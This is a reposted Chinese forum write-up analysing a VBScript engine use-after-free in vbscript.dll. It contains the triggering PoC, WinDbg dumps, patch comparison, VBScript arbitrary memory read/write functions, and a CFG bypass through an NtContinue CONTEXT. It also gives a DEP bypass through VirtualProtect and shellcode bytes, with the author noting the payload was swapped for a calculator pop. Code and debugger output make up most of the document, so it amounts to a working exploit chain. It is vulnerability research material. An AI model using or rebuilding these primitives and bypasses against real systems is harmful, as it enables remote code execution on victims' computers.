导致crash的exp
Class MyClass
Dim array()
Private Sub Class_Initialize
Redim array(2)
EndSub
PublicDefaultPropertyGetP
RedimPreservearray(1)
EndProperty
EndClass
Setcls=NewMyClass
cls.array(2)=cls
触发点分析
最后这行代码cls.array(2)=cls会调用NameTbl::InvokeEx。
逆向结果显示,NameTbl::InvokeEx接着会调用AccessArray和AssignVar,其中stackFor_ecx为导致栈分配接着写入的传递值=ecx也就是AssignVar的edx的寄存器。
关于UAF写入位置我的理解是array()默认的长度是1,也就是是占用0x10位置空间,通过NameTbl::InvokeEx->AccessArray->AssignVar。
因为默认长度是1,所以AccessArray的stackFor_ecx分配0x10后面的空间都是???,实际上仅仅是分配了0x10,后面没有更多的空间后续分配。
在SafeArrayRedim又将array的pvData长度变为array(2)的大小,也就是3个元素*0x10=0x30,从地址空间的布局可以看出这个0x30空间最后0x10空间正好是0ceaeff0,也就是array()默认的长度1个元素所占用的空间。
由于RedimPreserveArray把这个空间给释放了,导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间,最后cls.array(2)=cls调用AssignVar也是往这个地址空间写入数据,因为申请的栈的位置还是AccessArray,这里申请的stackFor_ecx->edi,导致崩溃,所以在8373后面的代码:
Set cls = New MyClass
array(2)=cls
//之后导致执行
For i = 0 To UBound(array2,2)
array2(0,i) = 3
Next
这个3值首先往申请的栈写入:
For i = 0 To UBound(array)
array(i) = array2
Next
这里只是array的pvData赋值成array2,仅仅是引用,array2的pvData在它直接pvData指针指向的地址,所以为实际写入array的pvData。
Public Default Property Get P
P=&h0fffffff
End Property
MyClass的p属性需要往栈写入值,通过AssignVar,所以导致array()默认的0x10空间,在也就是RedimPreserveArray最后的0x10空间数据为3 和0fffffff。
漏洞修复补丁比较分析
vbscrpt.dll文件比较结果
在打了补丁的机器上会出现这个错误:
主要原因是在调用vbscript!RedimPreservearray内部会先调用SafeArrayLock检查数组长度,然后抛出错误码2147418113,也就是【该数组为定长的或临时被锁定】。
if ( SafeArrayLock(arr) < 0 )
goto LABEL_Error;
HRESULT __stdcall SafeArrayLock(SAFEARRAY *psa)
{
ULONG v1; // eax
if ( !psa )
return -2147024809;
v1 = psa->cLocks;
//抛出错误2147418113
if ( v1 >= 0xFFFF )
return -2147418113;
psa->cLocks = v1 + 1;
return 0;
}
poc调试分析
和之前crash的调试方法一样下断点bp vbscript!RedimPreservearray "dc ecx"。
由于array的默认长度是1,所以同理uaf区域大小也为0x10,首次在RedimPreservearray断下。
0:007> bp vbscript!RedimPreservearray "dc ecx"
0:007> g
06f70450 08800001 00000010 00000000 03767ec8 .............~v.
06f70460 00000003 00000000 0155c69b 88000000 ..........U.....
06f70470 00000008 00000000 06f74020 038299c0 ........ @......
06f70480 06f856a0 0382a218 00000000 00000000 .V..............
06f70490 00000000 00000000 0155c685 88000036 ..........U.6...
06f704a0 6949f3a8 00008000 6949fb68 0041f300 ..Ii....h.Ii..A.
06f704b0 694ba9f0 00000000 00000000 00000000 ..Ki............
06f704c0 00000007 00000000 0155c68f 8000006c ..........U.l...
eax=06f70450 ebx=02d2bb20 ecx=06f70450 edx=00000001 esi=00815f50 edi=0082895c
eip=67f9d80c esp=02d2b878 ebp=02d2bab4 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
vbscript!RedimPreserveArray:
67f9d80c 8bff mov edi,edi
0:007> dc 03767ec8
//可以但是pvdata的内存区域都是空的
03767ec8 00000000 00000000 00000000 00000000 ................
03767ed8 00000000 00000000 00000000 00000000 ................
03767ee8 00000000 00000000 00000000 00000000 ................
03767ef8 011651f9 80000000 000000f0 00000000 .Q..............
03767f08 00000000 00000000 00000000 00000000 ................
03767f18 00000000 00000000 00000000 00000000 ................
03767f28 00000000 00000000 011651c0 8d000000 .........Q......
03767f38 44505041 3d415441 555c3a43 73726573 APPDATA=C:\Users
首部前有padding=0x10
struct tagSAFEARRAY 总大小0x30
{
USHORT cDims; +0x2
USHORT fFeatures; +0x2
ULONG cbElements; +0x4
ULONG cLocks; +0x8
PVOID pvData; +0xc
SAFEARRAYBOUND rgsabound[1]; +0x20 大小+0x8*2=30
};
由于array(2)的空间大小为0x30和tagSAFEARRAY大小相同,导致rgsabound[1]位置内存被覆盖成3和0fffffff。
看到index_vul的值为0也就是第0个元素,也是uaf默认元素的位置,详细原理在crash分析,再次查看内存中数据:
0:019> dc 06f70450
06f70450 08800001 00000010 00000000 078f0020 ............ ...
06f70460 000186a1 00000000 0155c69b 88000000 ..........U.....
06f70470 00000008 00000000 06f74020 038299c0 ........ @......
06f70480 06f856a0 0382a218 00000000 00000000 .V..............
06f70490 00000000 00000000 0155c685 88000036 ..........U.6...
06f704a0 6949f3a8 00000001 6949fb68 0041f300 ..Ii....h.Ii..A.
06f704b0 694ba9f0 00000000 00000000 00000000 ..Ki............
06f704c0 00000008 00000000 0155c68f 8000006c ..........U.l...
//再次查看array内存数据
0:019> dc 03767ec8
03767ec8 00000000 00000000 00000000 0000000c ................
03767ed8 08800002 00000010 00000000 03810ad8 ................
//目标位置被写入3和0fffffff
03767ee8 00810003 00000000 0fffffff 00000000 ................
03767ef8 011651f9 88000000 00000000 00000000 .Q..............
03767f08 00000000 0000000c 08800002 00000010 ................
03767f18 00000000 03810b50 00000007 00000000 ....P...........
03767f28 00000001 00000000 011651c0 8d000000 .........Q......
03767f38 44505041 3d415441 555c3a43 73726573 APPDATA=C:\Users
0:019> dc 078f0020
078f0020 02d2200c 02d2bb20 03767ed8 00000002 . .. ....~v.....
078f0030 02d2200c 02d2bb20 03767f10 00000002 . .. .....v.....
078f0040 02d2200c 02d2bb20 03768108 00000002 . .. .....v.....
078f0050 02d2200c 02d2bb20 03859520 00000002 . .. ... .......
078f0060 02d2200c 02d2bb20 03859b08 00000002 . .. ...........
078f0070 02d2200c 02d2bb20 038597f8 00000002 . .. ...........
078f0080 02d2200c 02d2bb20 03859830 00000002 . .. ...0.......
078f0090 02d2200c 02d2bb20 038598a0 00000002 . .. ...........
由于uaf堆结构,和tagSAFEARRAY结果头部数据的存在导致错位8个字节
0:019> dc 03810ad8 L100
03810ad8 00810002 00000000 00010003 00000000 ................
03810ae8 00810002 00000000 00010003 00000000 ................
03810af8 00810002 00000000 00010003 00000000 ................
03810b08 00810002 00000000 00010003 00000000 ................
03810b18 00810002 00000000 00010003 00000000 ................
03810b28 00810002 00000000 00010003 00000000 ................
03810b38 00810002 00000000 00010003 00000000 ................
//错位字节区域
02d59ba8 2d288816 88000000 00a80002 00000000 ..(-............
//077a919c就是写入“AAAA”
02d59bb8 00000008 00000000 077a919c 00000000 ..........z.....
03810b58 00010003 00000000 00810002 00000000 ................
03810b68 00010003 00000000 00810002 00000000 ................
03810b78 00010003 00000000 00810002 00000000 ................
03810b88 00010003 00000000 00810002 00000000 ................
03810b98 00010003 00000000 00810002 00000000 ................
03810ba8 00010003 00000000 00810002 00000000 ................
//查看077a919c
0:015> dc 077a919c
077a919c 00410041 00410041 00650000 00000000 A.A.A.A...e.....
077a91ac 00000000 00000000 00000001 2d8ba654 ............T..-
077a91bc 80000077 00000183 00000000 00000000 w...............
077a91cc 00000000 00000000 00000000 00000000 ................
077a91dc 0061006d 2d8ba65f 8000006d 0000011a m.a._..-m.......
077a91ec 00000000 00000000 00000000 00000000 ................
077a91fc 00000000 00000000 00730000 2d8ba622 ..........s."..-
077a920c 8800006e 002d0078 00610075 0063002d n...x.-.u.a.-.c.
在2和3间隔的区域 将array(index_vul)(index_a, 0)设置为“AAAA”,导致下一段array2 的 Data 域就变成了 8,因为string的VarType类型为8。
这样就得到了一组可以混肴的array(index_vul)(index_a+n, 0)和array(index_b)(0, n),通过将array(index_vul)(index_a, 0)处的 variant 转化为长整型。
令array(index_vul)(index_a, 0)处的 variant 转化为数组,从而得到了一段泄露的内存util_mem,可以读写的内存指定区域的通用方法。
//写内存
Function SetMemValue(valkey)
array(index_vul)(index_a+2,0)(util_mem)=3
array(index_vul)(index_a+2,0)(util_mem+8) = valkey
End Function
//读内存
Function GetMemValue
array(index_vul)(index_a+2,0)(util_mem)=3
GetMemValue=array(index_vul)(index_a+2,0)(util_mem+8)
End Function
分析下rw_primit前
03810ac8 00000000 00000000 0105a8b4 88000000 ................
03810ad8 00810002 00000000 00010003 00000000 ................
03810ae8 00810002 00000000 00010003 00000000 ................
03810af8 00810002 00000000 00010003 00000000 ................
03810b08 00810002 00000000 00010003 00000000 ................
03810b18 00810002 00000000 00010003 00000000 ................
03810b28 00810002 00000000 00010003 00000000 ................
03810b38 00810002 00000000 00010003 00000000 ................
03810b48 0105a887 88000000 00810002 00000000 ................
03810b58 00000008 00000000 037bed1c 00000000 ..........{.....
03810b68 00010003 00000000 00810002 00000000 ................
//rw_primit前此位置数据
03810b78 00010003 00000000 00810002 00000000 ................
03810b88 00010003 00000000 00810002 00000000 ................
03810b98 00010003 00000000 00810002 00000000 ................
03810ba8 00010003 00000000 00810002 00000000 ................
03810bb8 00010003 00000000 0105a896 88000000 ................
03810bc8 00810002 00000000 00010003 00000000 ................
03810bd8 00810002 00000000 00010003 00000000 ................
03810be8 00810002 00000000 00010003 00000000 ................
03810bf8 00810002 00000000 00010003 00000000 ................
03810c08 00810002 00000000 00010003 00000000 ................
03810c18 00810002 00000000 00010003 00000000 ................
03810c28 00810002 00000000 00010003 00000000 ................
分析下rw_primit后
0:015> dc 03810ac8
03810ac8 00000000 00000000 0105a8b4 88000000 ................
03810ad8 00810002 00000000 00010003 00000000 ................
03810ae8 00810002 00000000 00010003 00000000 ................
03810af8 00810002 00000000 00010003 00000000 ................
03810b08 00810002 00000000 00010003 00000000 ................
03810b18 00810002 00000000 00010003 00000000 ................
03810b28 00810002 00000000 00010003 00000000 ................
03810b38 00810002 00000000 00010003 00000000 ................
03810b48 0105a887 88000000 00000005 00000000 ................
03810b58 00000003 00000003 06f6e9fc 00012a54 ............T*..
03810b68 00010003 00000000 00000005 00000000 ................
//指定位置已被覆盖成CDbl("1.74088534731324E-310")也就是 0000200c
03810b78 0000200c 0000200c 03796a7c 00012a54 . ... ..|jy.T*..
03810b88 00010003 00000000 00810002 00000000 ................
03810b98 00010003 00000000 00810002 00000000 ................
03810ba8 00010003 00000000 00810002 00000000 ................
03810bb8 00010003 00000000 0105a896 88000000 ................
03810bc8 00810002 00000000 00010003 00000000 ................
03810bd8 00810002 00000000 00010003 00000000 ................
03810be8 00810002 00000000 00010003 00000000 ................
03810bf8 00810002 00000000 00010003 00000000 ................
03810c08 00810002 00000000 00010003 00000000 ................
03810c18 00810002 00000000 00010003 00000000 ................
03810c28 00810002 00000000 00010003 00000000 ................
看到这个地址的值和fake_array的数据相同。
0:015> dc 03796a7c
03796a7c 08800001 00000001 00000000 00000000 ................
03796a8c 7fffffff 00000000 00000000 0117b2b5 ................
03796a9c 88000000 00000002 00000030 0075006f ........0...o.u.
03796aac 003a0074 00610074 00730062 00000000 t.:.t.a.b.s.....
03796abc 00000000 0117b2be 88000000 06f713c8 ................
03796acc 00000000 00000000 00000000 00000000 ................
03796adc 00000000 00000000 00000000 0117b2bb ................
03796aec 88000000 00020001 757d0002 000004b0 ..........}u....
shellcode调试分析
我把shellcode改了一下把原来运行cmd的shellcode改成8174的弹出计算器模式,欢迎有兴趣的读者一起研究,exp在附件里,在运行shellcode之前看到提示的地址是:
下断点bp vbscript!VAR::Clear "dc esi"在若干次触发后正确断下:
0:005> bp vbscript!VAR::Clear "dc esi"
0:007> g
//正确断下时varTypeNext类型为0x4d也就是77
06f6ea04 06f6004d 02d2bd80 07002f74 0001298c M.......t/...)..
06f6ea14 000076d8 0155fbf5 80000064 0000014c .v....U.d...L...
06f6ea24 00000000 06f6ea2c 00000000 00000000 ....,...........
06f6ea34 00000000 00000000 00000000 0155fbfe ..............U.
06f6ea44 88000065 00000000 037a013c 06f6eaa0 e.......<.z.....
06f6ea54 06f6e410 00000000 00000000 00000000 ................
06f6ea64 00000000 0155fbfb 8c000000 65874e2d ......U.....-N.e
06f6ea74 7b800028 00294f53 002d0020 7f8e0020 (..{SO). .-. ...
eax=00000000 ebx=0080ac50 ecx=06f6ea04 edx=00000009 esi=06f6ea04 edi=007b5ec8
eip=67f72170 esp=02d2bb24 ebp=02d2bb58 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
vbscript!VAR::Clear:
67f72170 8bff mov edi,edi
逆向结果显示当varTypeNext为77时:
// 类型判断可以用VarType函数获得会调用var_ecx + 8也就是下面看到的ntdll!ZwContinue结构体,可以计算出EIP和ESP在CONTEXT中的偏移,如图
HRESULT __thiscall VAR::Clear(VARIANTARG *pvarg)
{
...
if ( varTypeNext == 77 )
{
var_ecx = var_esi->lVal;
if ( !var_ecx )
goto LABEL_5;
//执行ntdll!ZwContinue结构体
(*(void (__thiscall **)(_DWORD, LONG))(*(_DWORD *)var_ecx + 8))(
*(_DWORD *)(*(_DWORD *)var_ecx + 8),
var_esi->lVal);
v7 = &v12 == &v12;
LABEL_12:
if ( !v7 )
__fastfail(4u);
goto LABEL_5;
}
...
}
EIP和ESP是在CONTEXT精心布局好的:
Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
Dim FakeVALUE
FakeVALUE=String((100334-65536),Unescape("%u4141"))
FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam)
FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam)
FakeVALUE=FakeVALUE &EscapeAddress(&h3000)
FakeVALUE=FakeVALUE &EscapeAddress(&h40)
FakeVALUE=FakeVALUE &EscapeAddress(ShellcodeAddrParam-8)
FakeVALUE=FakeVALUE &String(6,Unescape("%u4242"))
FakeVALUE=FakeVALUE &lIllIl()
FakeVALUE=FakeVALUE &String((&h80000-LenB(FakeVALUE))/2,Unescape("%u4141"))
WrapShellcodeWithNtContinueContext=FakeVALUE
End Function
由此方法精心布局
查看[esi+8]也就是var_ecx
0:007> dc 07002f74
07002f74 02851023 00410041 00410041 00410041 #...A.A.A.A.A.A.
07002f84 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002f94 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002fa4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002fb4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002fc4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002fd4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
07002fe4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0:007> dc 02851023
02851023 772955a8 772955a8 772955a8 772955a8 .U)w.U)w.U)w.U)w
02851033 41414100 41414141 41414141 41414141 .AAAAAAAAAAAAAAA
02851043 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851053 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851063 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851073 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851083 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851093 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
//这里指向的是ntdll!ZwContinue结构体
0:007> ln 772955a8
(772955a8) ntdll!ZwContinue | (772955b8) ntdll!NtCreateDebugObject
Exact matches:
ntdll!NtContinue = <no type information>
ntdll!ZwContinue = <no type information>
查看结构体指定偏移量的数据,也就是EIP和ESP。
Function ExpandWithVirtualProtect(VirtualProtectArg)
Dim FakeVALUE
Dim ArrTEMPGLOBALlI
ArrTEMPGLOBALlI=VirtualProtectArg+&h23
FakeVALUE=""
FakeVALUE=FakeVALUE &EscapeAddress(ArrTEMPGLOBALlI)
FakeVALUE=FakeVALUE &String((&hb8-LenB(FakeVALUE))/2,Unescape("%4141"))
FakeVALUE=FakeVALUE &EscapeAddress(VirtualProtectAddr)
FakeVALUE=FakeVALUE &EscapeAddress(&h1b)
FakeVALUE=FakeVALUE &EscapeAddress(0)
FakeVALUE=FakeVALUE &EscapeAddress(VirtualProtectArg)
FakeVALUE=FakeVALUE &EscapeAddress(&h23)
FakeVALUE=FakeVALUE &String((&400-LenB(FakeVALUE))/2,Unescape("%u4343"))
ExpandWithVirtualProtect=FakeVALUE
End Function
由此方法精心布局:
0:007> dc 07002f74+2e*4
//第一个是7537f366=VirtualProtect,第二个02851000=shellcode指针
0700302c 7537f366 0000001b 00000000 02851000 f.7u............
0700303c 00000023 43434343 43434343 43434343 #...CCCCCCCCCCCC
0700304c 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0700305c 43434343 43434343 43434343 43434343 CCCCCCCCCCCCCCCC
0700306c 43434343 43434343 00320000 00320065 CCCCCCCC..2.e.2.
0700307c 00750025 00370035 00320035 00750025 %.u.5.7.5.2.%.u.
0700308c 00320035 00620038 00750025 00620038 5.2.8.b.%.u.8.b.
0700309c 00300031 00750025 00630033 00610034 1.0.%.u.3.c.4.a.
0:007> dc 7537f366
7537f366 8b55ff8b 1475ffec ff1075ff 75ff0c75 ..U...u..u..u..u
7537f376 e8ff6a08 00000009 0010c25d 90909090 .j......].......
7537f386 55ff8b90 8b56ec8b 3711c035 75ff5775 ...U..V.5..7uW.u
7537f396 10458d18 501475ff 500c458d ff0875ff ..E..u.P.E.P.u..
7537f3a6 85f88bd6 1f8c0fff 330001b0 5e5f40c0 ...........3.@_^
7537f3b6 0014c25d 840f04a8 00014d7f b60f2024 ]........M..$ ..
7537f3c6 1bd8f7c0 1ee083c0 58e94040 90ffff9b ........@@.X....
7537f3d6 90909090 8b55ff8b 0c75ffec ff0875ff ......U...u..u..
//这里指向的是KERNELBASE!VirtualProtect的apifunction地址
0:007> ln 7537f366
(7537f366) KERNELBASE!VirtualProtect | (7537f387) KERNELBASE!VirtualProtectEx
Exact matches:
KERNELBASE!VirtualProtect = <no type information>
0:007> dc 02851000
02851000 02a2002c 02a2002c 00003000 00000040 ,...,....0..@...
02851010 02a20024 42424242 42424242 42424242 $...BBBBBBBBBBBB
02851020 a8000000 a8772955 a8772955 a8772955 ....U)w.U)w.U)w.
02851030 00772955 41414141 41414141 41414141 U)w.AAAAAAAAAAAA
02851040 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851050 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851060 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
02851070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
//看到和图片中shellcode地址一样
0:007> dc 02a2002c
02a2002c 0082e8fc 89600000 64c031e5 8b30508b ......`..1.d.P0.
02a2003c 528b0c52 28728b14 264ab70f 3cacff31 R..R..r(..J&1..<
02a2004c 2c027c61 0dcfc120 f2e2c701 528b5752 a|., .......RW.R
02a2005c 3c4a8b10 78114c8b d10148e3 20598b51 ..J<.L.x.H..Q.Y
02a2006c 498bd301 493ae318 018b348b acff31d6 ...I..:I.4...1..
02a2007c 010dcfc1 75e038c7 f87d03f6 75247d3b .....8.u..}.;}$u
02a2008c 588b58e4 66d30124 8b4b0c8b d3011c58 .X.X$..f..K.X...
02a2009c 018b048b 244489d0 615b5b24 ff515a59 ......D$$[[aYZQ.
shellcode运行结果
Sub ExecuteShellcode
//就是之前看到的if ( varTypeNext == 77 )
ArrTEMPGLOBAL.mem(MyVALUE)=&h4d'DEP bypass
ArrTEMPGLOBAL.mem(MyVALUE+8)=0
msgbox(MyVALUE) 'VT replaced
End Sub
- End -
原文作者:王cb
原文链接:https://bbs.pediy.com/thread-246940.htm
转载请注明:转自看雪学院
更多阅读推荐:
网友评论